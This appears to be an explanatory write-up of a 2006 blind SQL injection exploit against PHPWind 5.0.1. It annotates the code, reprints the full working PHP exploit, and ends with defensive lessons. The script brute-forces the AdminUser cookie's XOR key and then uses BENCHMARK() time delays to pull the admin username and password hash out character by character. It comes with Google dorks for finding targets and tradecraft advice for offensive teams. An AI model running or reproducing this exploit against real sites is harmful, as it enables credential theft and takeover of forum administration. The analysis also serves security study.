PHPWind 5.0.1 'AdminUser' Blind SQL Injection Explained

PHPWind 5.0.1 'AdminUser' Blind SQL Injection Explained
What this paper is
This paper details a blind SQL injection vulnerability in PHPWind version 5.0.1. Specifically, it targets the AdminUser cookie parameter. The vulnerability allows an attacker to extract sensitive information, such as administrator usernames and their MD5 password hashes, by exploiting how the application handles SQL errors and by using the BENCHMARK() SQL function to measure query execution time.
Simple technical breakdown
The core of the vulnerability lies in how the AdminUser cookie is processed. When a user logs in or interacts with the admin section, their session information might be stored in this cookie. The application doesn't properly sanitize or validate the input within this cookie before using it in SQL queries.
The exploit uses a blind SQL injection technique. This means the attacker doesn't directly see the results of the SQL query. Instead, they infer information by observing the application's behavior, such as:
- Error Messages: While this specific exploit doesn't rely on visible error messages, blind SQL injection often involves triggering specific errors to confirm conditions.
- Time Delays: The
BENCHMARK(count, expression)SQL function is used. If a specific condition in the injected SQL query is true,BENCHMARK()will execute for a significant amount of time, causing a noticeable delay in the server's response. By measuring this delay, the attacker can determine if a particular character or condition is present in the data they are trying to extract.
The exploit first attempts to discover an encryption key used by PHPWind to obfuscate the AdminUser cookie's value. Once the key is found, it's used to encode SQL queries. The script then iteratively guesses characters for the administrator's username and password by sending crafted SQL queries that use BENCHMARK() to indicate a correct guess.
Complete code and payload walkthrough
The provided PHP script is a command-line tool designed to exploit the PHPWind vulnerability. Let's break down its components:
1. Initial Setup and Argument Parsing:
<?php
print_r('
---------------------------------------------------------------------------
PHPWind <= 5.0.1 "AdminUser" blind SQL injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dorks: "powered by phpwind"
"powered by phpwind v5.0.1" -site:phpwind.net
---------------------------------------------------------------------------
');
if ($argc<3) {
// Usage instructions printed here
die;
}
error_reporting(0); // Suppress errors
ini_set("max_execution_time",0); // No time limit for script execution
ini_set("default_socket_timeout",5); // Default socket timeout- Header: Prints introductory information about the exploit.
- Argument Check (
if ($argc<3)): Ensures the script receives at least a host and path as arguments. If not, it prints usage instructions and exits. - Error Reporting (
error_reporting(0)): Disables error reporting, which is common in exploit scripts to avoid revealing too much information or crashing. - Execution Time (
ini_set("max_execution_time",0)): Sets the maximum execution time to unlimited, allowing the script to run for as long as needed to complete the brute-force process. - Socket Timeout (
ini_set("default_socket_timeout",5)): Sets a default timeout for network socket operations.
2. Helper Functions:
function quick_dump($string)
{
// ... (This function is not used in the main exploit logic but is for debugging/display)
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
// ... (Handles sending HTTP packets, either directly or via a proxy)
// ... (Reads the response into the global $html variable)
fclose($ock);
}quick_dump($string): A utility function to display a string in a hex and ASCII format. It's not directly used in the exploit's core functionality but could be useful for debugging.$proxy_regex: A regular expression to validate proxy IP:port formats.sendpacketii($packet): This is a crucial function for network communication.- It takes an HTTP
packetas input. - If
$proxyis empty, it establishes a direct connection to the$hostand$portusingfsockopen. - If a proxy is specified, it connects to the proxy server first and then forwards the packet.
- It sends the packet using
fputs. - It reads the server's response into the global
$htmlvariable. For direct connections, it reads until EOF. For proxy connections, it reads until it encounters a double CRLF (\r\n\r\n), indicating the end of HTTP headers. - It closes the socket connection.
- It takes an HTTP
3. Argument Processing Loop:
$host=$argv[1];
$path=$argv[2];
$port=80;
$timeout=10;
$proxy="";
$b=200000000; // Default benchmark delay value
$e=""; // Encryption key
for ($i=3; $i<$argc; $i++){
// ... (Parses command-line arguments for port, proxy, timeout, benchmark delay, and encryption key)
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait...\n";- Initialization: Sets default values for
$port,$timeout,$proxy,$b(benchmark delay), and$e(encryption key). - Argument Parsing: Iterates through the remaining command-line arguments (
$argv[3]onwards) to override default values for:-p[port]: Sets the target port.-P[ip:port]: Sets a proxy server.-t[n]: Sets the query timeout (how long to wait for aBENCHMARKto indicate a match).-b[n]: Sets the delay value forBENCHMARK().-e[key]: Provides a known encryption key (18-character MD5 fragment).
- Path Validation: Checks if the provided
$pathstarts and ends with a slash (/). - URL Construction: Prepares the
$pvariable, which will be used in the HTTP requests, either as a direct path or as part of a proxy URL.
4. Encryption/Decryption Functions:
function StrCode($string,$action='ENCODE'){
$key = $GLOBALS['my_fragment']; // Uses a global variable for the key
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = 18; // Key length
$code = '';
for($i=0; $i<strlen($string); $i++){
$k = $i % $len;
$code .= $string[$i] ^ $key[$k]; // XOR operation
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
function random($length) {
// ... (Generates a random string of hex characters)
}
function is_my_key($fragment)
{
if (ereg("^[a-f0-9]{18}",trim($fragment))) {return true;} // Checks for 18 hex characters
else {return false;}
}StrCode($string, $action): This function performs a simple XOR-based encryption/decryption.- It takes a
$stringand an$action('ENCODE' or 'DECODE'). - It uses a global variable
$GLOBALS['my_fragment']as the encryption key (expected to be 18 characters long). - If decoding, it first base64-decodes the input string.
- It iterates through the string, XORing each character with a character from the key (repeating the key if necessary).
- If encoding, it base64-encodes the result.
- It takes a
random($length): A helper to generate random hexadecimal strings, used for finding the encryption key.is_my_key($fragment): Validates if a string is an 18-character hexadecimal string.
5. Cookie Prefix Discovery:
//need cookie prefix...
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("lastfid=",$html);
$temp2=explode("Set-Cookie: ",$temp[0]);
$cp=$temp2[1];
echo "cookie prefix -> ".$cp."\n";- Purpose: PHP applications often use a prefix for their session cookies (e.g.,
PHPSESSID=). This section aims to discover that prefix. - Method: It sends a simple GET request to
index.php. It then parses theSet-Cookieheader from the response to extract the cookie prefix. This prefix is stored in$cp. TheCLIENT-IPheader is spoofed, though its effectiveness depends on server configuration.
6. Encryption Key Discovery (if not provided):
if (!$e)
{
//see sql errors... you need a valid key for strcodeii() function,
//so let's ask :)
$tt="\t";for ($i=1; $i<=255; $i++){$tt.=chr($i);} // String of all possible characters + tab
while (1)
{
$GLOBALS['my_fragment']=random(18); // Generate a random 18-char key
$au=StrCode($tt,"ENCODE"); // Encode the character string with the random key
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".$au.";\r\n"; // Send the encoded string in AdminUser cookie
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
if ((eregi("WHERE username='",$html)) and (eregi("You Can Get Help In",$html))){
$temp=explode("WHERE username='",$html);
$temp2=explode("'<br>",$temp[1]);
$decoded=$temp2[0]; // This is the first 255 chars of the encoded string, if it matches the expected pattern
if (strlen($decoded)==255) break; // Found a key that produces a 255-char output
}
}
$decoded="\t".$decoded; // Prepend tab to the found string
$temp = $au; // Store the encoded string
//calculating key...
$key="";
for ($j=0; $j<18; $j++){ // Iterate through each position of the key
for ($i=0; $i<=255; $i++){ // Iterate through all possible ASCII characters
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a"; // Build a prefix of 'a's for partial key testing
}
}
$GLOBALS['my_fragment']=$aa.chr($i); // Set the partial key
$t = StrCode($temp,"DECODE"); // Try to decode the original encoded string with the partial key
if ($t[$j]==$decoded[$j]){ // If the character at the current position matches
$key.=chr($i); // Append the character to the discovered key
}
}
}
if (is_my_key($key)){
echo "encryption key ->".$key."\n";
$GLOBALS['my_fragment']=$key; // Set the global key for subsequent operations
}
else
{die("unable to retrieve the magic key...");}
}- Purpose: If no encryption key (
-e) was provided, this section attempts to discover it. - Method:
- It creates a string
$ttcontaining a tab character followed by all possible ASCII characters (0-255). - It enters a loop, repeatedly generating a random 18-character hexadecimal string (
$GLOBALS['my_fragment']). - It encodes
$ttusingStrCodewith the random key, resulting in$au. - It sends a request to
admin.phpwith theAdminUsercookie set to$au. - It checks the response (
$html). If the response contains specific strings ("WHERE username='" and "You Can Get Help In") and the decoded string length is 255, it assumes it has found a valid key that produces a predictable output pattern. - Once a potential key is found, it enters a key calculation phase. It iterates through each of the 18 positions of the key. For each position, it tries every possible ASCII character.
- It constructs a partial key (e.g.,
a,aa,aaa, etc., followed by the character being tested). - It attempts to decode the previously captured encoded string (
$temp, which is$au) using this partial key. - If the decoded character at the current position matches the corresponding character in the
decodedstring (which was derived from the server's response), it means that character is part of the correct key. - The discovered key is then validated using
is_my_keyand set as the global encryption key.
- It creates a string
7. Password and Username Extraction (Blind SQL Injection):
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers 0-9
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0))) // Loop until null byte is found in password
{
for ($i=0; $i<=255; $i++) // Iterate through all possible ASCII characters
{
if (in_array($i,$chars)) // Only check characters that are likely in a password/username (numbers, a-f)
{
// Construct the SQL query for password character extraction
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
// Encode the SQL query and send it in the AdminUser cookie
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet); // First send to trigger the query
usleep(2000000); // Wait for a bit
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet); // Second send to measure time
if (eregi("You Can Get Help In",$html)) { // Check for unexpected response
die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
}
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) { // If response time exceeds timeout, it's a match
$password.=chr($i); // Append the matched character to the password
echo "password -> ".$password."[???]\r\n";
sleep(2); // Pause for a bit
break; // Move to the next character position
}
}
if ($i==255) { // If all characters checked and no match found
die("\nExploit failed...");
}
}
$j++; // Move to the next character position in the password
}
$j=1;$admin="";
while (!strstr($admin,chr(0))) // Loop until null byte is found in username
{
for ($i=0; $i<=255; $i++) // Iterate through all possible ASCII characters
{
// Construct the SQL query for username character extraction
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
// Encode the SQL query and send it in the AdminUser cookie
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet); // First send
usleep(2000000); // Wait
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet); // Second send to measure time
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) { // If response time exceeds timeout, it's a match
$admin.=chr($i); // Append the matched character to the username
echo "admin -> ".$admin."[???]\r\n";
sleep(2); // Pause
break; // Move to the next character position
}
if ($i==255) { // If all characters checked and no match found
die("\nExploit failed...");
}
}
$j++; // Move to the next character position in the username
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} // Checks for 32 hex characters (MD5)
else {return false;}
}
if (is_hash($password)) {
print_r('
--------------------------------------------------------------------------
admin user -> '.$admin.'
pwd hash (md5) -> '.$password.'
--------------------------------------------------------------------------
');
}
else {
echo "exploit failed...";
}
?>- Purpose: This is the core blind SQL injection logic to extract the administrator's username and password hash.
- Method:
- Character Set: Defines a character set (
$chars) containing digits (0-9) and lowercase hex letters (a-f). This is a heuristic to speed up the process, assuming passwords/usernames will primarily use these characters. - Password Extraction Loop:
- It iterates character by character (
$jrepresents the position in the password). - For each position, it iterates through all possible ASCII characters (
$i). - It constructs a malicious SQL query:
9999999': This is a dummy value to close the initial part of the query./**/OR/**/: SQL comment and OR operator.IF((ASCII(SUBSTRING(password, $j, 1)) = $i), benchmark($b, char(0)), -1): This is the core logic.SUBSTRING(password, $j, 1): Extracts the character at the current position$jfrom thepasswordcolumn.ASCII(...): Gets the ASCII value of that character.= $i: Compares it to the ASCII value of the character being tested.IF(condition, true_action, false_action): If the condition is true (the character matches), it executesbenchmark($b, char(0)). If false, it executes-1.benchmark($b, char(0)): This function executes a dummy operation$btimes.char(0)is a null character. The significant execution time ofbenchmark()is what we measure.
/**/AND/**/groupid=3/**/LIMIT/**/1/*: Additional conditions to refine the query and ensure it targets the admin user and returns only one result.
- The constructed SQL query is then encoded using
StrCodeand sent in theAdminUsercookie. - The script sends the packet twice, with a small delay (
usleep(2000000)). The first send might prime the query, and the second send is used to measure the execution time. - It records the
$starttimeand$endtime. - If
$endtime - $starttimeis greater than the$timeout, it means theBENCHMARK()function was executed, indicating that the tested character (chr($i)) is the correct character at the current password position ($j). - The matched character is appended to the
$passwordvariable. - The loop continues until a null byte is found in the extracted password, signifying the end of the password.
- It iterates character by character (
- Username Extraction Loop: This loop works identically to the password extraction loop, but it targets the
usernamecolumn instead ofpassword. - Output: Finally, it checks if the extracted
$passwordis a valid 32-character MD5 hash usingis_hash. If it is, it prints the extracted administrator username and password hash.
- Character Set: Defines a character set (
Code Fragment/Block -> Practical Purpose Mapping:
if ($argc<3): Argument Validation - Ensures script is run with required parameters.ini_set("max_execution_time",0): Execution Control - Prevents script termination during long brute-force operations.sendpacketii($packet): Network Communication - Handles sending HTTP requests and receiving responses.StrCode($string, $action): Data Obfuscation - Encodes/decodes data using a shared secret key, used to hide malicious SQL queries within theAdminUsercookie.random(18): Key Generation - Creates random strings for discovering the encryption key.is_my_key($fragment): Key Validation - Checks if a string is a valid 18-character hex key.- Cookie Prefix Discovery Block: Session Management Analysis - Extracts the application's cookie prefix to correctly construct subsequent cookie values.
- Encryption Key Discovery Block: Credential Obfuscation Analysis - Identifies the application's secret encryption key, which is necessary to craft valid
AdminUsercookie values. $sql="...benchmark(...)": SQL Injection Payload - The core malicious SQL query designed to trigger time delays for character-by-character data extraction.IF((ASCII(SUBSTRING(password, $j, 1)) = $i), benchmark(...), -1): Conditional Logic for Blind SQL - The heart of the blind injection, usingBENCHMARKto signal a correct character guess.$starttime=time(); ... $endtime=time(); $difftime=$endtime - $starttime;: Timing Measurement - Crucial for blind SQL injection, measuring response time to infer query results.if ($difftime > $timeout): Match Detection - Determines if a character guess was correct based on the measured time delay.$password.=chr($i);/$admin.=chr($i);: Data Accumulation - Builds the extracted username and password character by character.is_hash($hash): Data Validation - Verifies if the extracted password is in the expected MD5 hash format.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No prior authentication or user privileges are required to initiate the exploit, as it targets a public-facing web application.
- Lab Preconditions:
- A controlled environment to test the exploit against a vulnerable PHPWind 5.0.1 instance.
- Network connectivity to the target.
- The target web server must be running PHPWind 5.0.1 or a compatible version with the same vulnerability.
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine to run the exploit script.
- Basic command-line familiarity.
- Network tools like
netcatortelnetcan be useful for manual verification of network connectivity and HTTP responses.
- Execution Pitfalls:
- Incorrect Path: The
$pathargument must accurately reflect the directory where PHPWind is installed on the server (e.g.,/phpwind/or/forum/). An incorrect path will lead to404 Not Founderrors or unexpected responses. - Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might detect and block the unusual HTTP requests, especially the
CLIENT-IPspoofing or the pattern of repeated requests with encoded cookies. - Server Load/Network Latency: High server load or poor network conditions can lead to inconsistent timing measurements, causing false positives or negatives during the character extraction phase. The
$timeoutand$bparameters might need tuning. - Application Variations: Minor variations in PHPWind's error handling, SQL syntax, or cookie handling could cause the exploit to fail. The
eregi("You Can Get Help In",$html)check is a specific indicator of the expected response structure. - Encryption Key Discovery Failure: If the server's response during key discovery doesn't match the expected pattern, the key discovery phase will fail, preventing the exploit from proceeding.
- Rate Limiting: Some servers might implement rate limiting on requests, which could disrupt the iterative nature of the blind SQL injection.
CLIENT-IPSpoofing: TheCLIENT-IPheader is often ignored or logged by modern web servers and WAFs. Its primary purpose here is likely to see if it influences any specific logging or filtering on older systems.
- Incorrect Path: The
- Tradecraft Considerations:
- Stealth: The exploit is noisy. It generates numerous HTTP requests and relies on time delays, which can be detected by network monitoring and intrusion detection systems.
- Obfuscation: The use of
/**/for SQL comments and the encoding of the SQL query within the cookie are attempts at obfuscation, but the overall pattern is still detectable. - Targeted Approach: This exploit is specific to PHPWind 5.0.1 and the
AdminUsercookie. It requires reconnaissance to confirm the application and version. - Data Exfiltration: The extracted data (username, password hash) is printed to the console. For covert operations, this output would need to be captured and processed securely.
- Post-Exploitation: Once the admin credentials are known, the attacker can attempt to log into the PHPWind administration panel.
Where this was used and when
- Software Affected: PHPWind version 5.0.1.
- Vulnerability Type: Blind SQL Injection.
- Approximate Year/Date: The exploit was published on milw0rm.com on 2006-11-12. This indicates the vulnerability was likely discovered and exploited around that time. PHPWind was a popular PHP-based forum software, and vulnerabilities in such platforms were common in the mid-2000s.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data that is incorporated into database queries (like cookie values, URL parameters, form fields), must be rigorously validated and sanitized. This includes checking for expected data types, lengths, and character sets, and properly escaping or parameterizing all input.
- Parameterized Queries (Prepared Statements): Modern applications should always use parameterized queries or prepared statements. This separates the SQL code from the data, preventing malicious input from being interpreted as SQL commands.
- Least Privilege Principle: Database users should be granted only the minimum necessary privileges. An attacker gaining access to a low-privilege database user would have limited ability to extract sensitive data or perform destructive actions.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common SQL injection patterns. However, attackers can often bypass WAFs with clever obfuscation techniques.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks (like PHP) updated with the latest security patches is paramount. PHPWind 5.0.1 is extremely old and unsupported.
- Secure Cookie Handling: Applications should not rely on cookie values directly for sensitive operations without proper server-side validation and, if necessary, encryption. Session management should be robust.
- Error Handling: Avoid displaying detailed database error messages to end-users, as these can provide valuable information to attackers. Implement generic error messages and log detailed errors server-side.
- Monitoring and Logging: Implement comprehensive logging of web server and application activities, including HTTP requests, SQL queries (if possible), and authentication attempts. Regularly review these logs for suspicious patterns.
ASCII visual (if applicable)
This exploit's flow is primarily sequential and network-based, making a complex architectural diagram less impactful than a flow representation.
+-----------------+ +-----------------+ +-----------------+
| Attacker's | | Target Web | | Target Database |
| Machine | | Server (PHPWind)| | |
+-----------------+ +-----------------+ +-----------------+
| | |
| 1. Send Request | |
| (index.php) | |
| to get cookie | |
| prefix | |
|------------------------|------------------------|
| | |
| 2. Send Request | |
| (admin.php) | |
| with encoded | |
| random key | |
| in AdminUser cookie | |
|------------------------|------------------------|
| | |
| 3. (If key not given) | |
| Repeat 2, trying | |
| different random | |
| keys until a | |
| predictable response| |
| is found. | |
| Then, brute-force | |
| the actual key. | |
|------------------------|------------------------|
| | |
| 4. Send Request | |
| (admin.php) | |
| with encoded SQL | |
| query (using found | |
| key) in AdminUser | |
| cookie. | |
| - IF(ASCII(SUBSTR(pass,pos,1))=char, |
| BENCHMARK(delay,char(0)), -1) |
| - Measure response | |
| time. | |
|------------------------|------------------------|
| | |
| 5. Repeat 4 for each | |
| character of password| |
| and username. | |
| | |
| 6. Output extracted | |
| username/hash. | |
+------------------------+------------------------+
Explanation of the Flow:
- Cookie Prefix Discovery: The attacker first probes
index.phpto extract the application's session cookie prefix. - Key Discovery (Iterative): If the encryption key isn't provided, the attacker repeatedly sends requests to
admin.phpwith randomly encodedAdminUsercookies. The server's response is analyzed to find a key that produces a specific output pattern. This phase involves brute-forcing the key itself. - Data Extraction (Blind SQL): Once the encryption key is known, the attacker crafts specific SQL queries that leverage the
BENCHMARK()function. These queries are encoded and sent in theAdminUsercookie. - Timing Analysis: The attacker measures the server's response time. A significant delay indicates that the condition in the
BENCHMARK()function was met (i.e., a character guess was correct). - Character-by-Character Brute-Force: This process is repeated for each character position in the administrator's username and password, effectively brute-forcing the credentials.
- Output: The extracted username and MD5 password hash are displayed.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/2759
- Original Exploit Code: Provided in the prompt.
Original Exploit-DB Content (Verbatim)
<?php
print_r('
---------------------------------------------------------------------------
PHPWind <= 5.0.1 "AdminUser" blind SQL injection exploit
by rgod retrog@alice.it
site: http://retrogod.altervista.org
dorks: "powered by phpwind"
"powered by phpwind v5.0.1" -site:phpwind.net
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to phpwind
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-t[n]: adjust query timeout (default: 10)
-b[n]: adjust the delay for benchmark()
-e[key]: specify an encryption key, if you have it
it is an md5 fragment (18 chars)
Example:
php '.$argv[0].' localhost /phpwind/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
php '.$argv[0].' localhost /forum/ -t15 -b20000000
php '.$argv[0].' localhost / -t15 -b20000000
php '.$argv[0].' localhost / -t15 -e298af45091ebcdfbcd
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
return;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$timeout=10;
$proxy="";
$b=200000000;
$e="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-b")
{
$b=(int) str_replace("-b","",$argv[$i]);
}
if ($temp=="-e")
{
$e=str_replace("-e","",$argv[$i]);
if (!is_my_key($e)){
die("not a valid key...");
}
else {
$GLOBALS['my_fragment']=$e;
}
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait...\n";
function StrCode($string,$action='ENCODE'){
$key = $GLOBALS['my_fragment'];
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = 18;
$code = '';
for($i=0; $i<strlen($string); $i++){
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}
function random($length) {
$hash = '';
$chars = '0123456789abcdef';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function is_my_key($fragment)
{
if (ereg("^[a-f0-9]{18}",trim($fragment))) {return true;}
else {return false;}
}
//need cookie prefix...
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("lastfid=",$html);
$temp2=explode("Set-Cookie: ",$temp[0]);
$cp=$temp2[1];
echo "cookie prefix -> ".$cp."\n";
if (!$e)
{
//see sql errors... you need a valid key for strcodeii() function,
//so let's ask :)
$tt="\t";for ($i=1; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$GLOBALS['my_fragment']=random(18);
$au=StrCode($tt,"ENCODE");
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".$au.";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
if ((eregi("WHERE username='",$html)) and (eregi("You Can Get Help In",$html))){
$temp=explode("WHERE username='",$html);
$temp2=explode("'<br>",$temp[1]);
$decoded=$temp2[0];
if (strlen($decoded)==255) break;
}
}
$decoded="\t".$decoded;
$temp = $au;
//calculating key...
$key="";
for ($j=0; $j<18; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS['my_fragment']=$aa.chr($i);
$t = StrCode($temp,"DECODE");
if ($t[$j]==$decoded[$j]){
$key.=chr($i);
}
}
}
if (is_my_key($key)){
echo "encryption key ->".$key."\n";
$GLOBALS['my_fragment']=$key;
}
else
{die("unable to retrieve the magic key...");}
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
if (eregi("You Can Get Help In",$html)) {
die($html."\n\n"."debug: you have to modify sql code injected, it seems a different version...");
}
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),benchmark(".$b.",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\n";
$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cp."AdminUser=".StrCode("9999999999\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > $timeout) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
print_r('
--------------------------------------------------------------------------
admin user -> '.$admin.'
pwd hash (md5) -> '.$password.'
--------------------------------------------------------------------------
');
}
else {
echo "exploit failed...";
}
?>
# milw0rm.com [2006-11-12]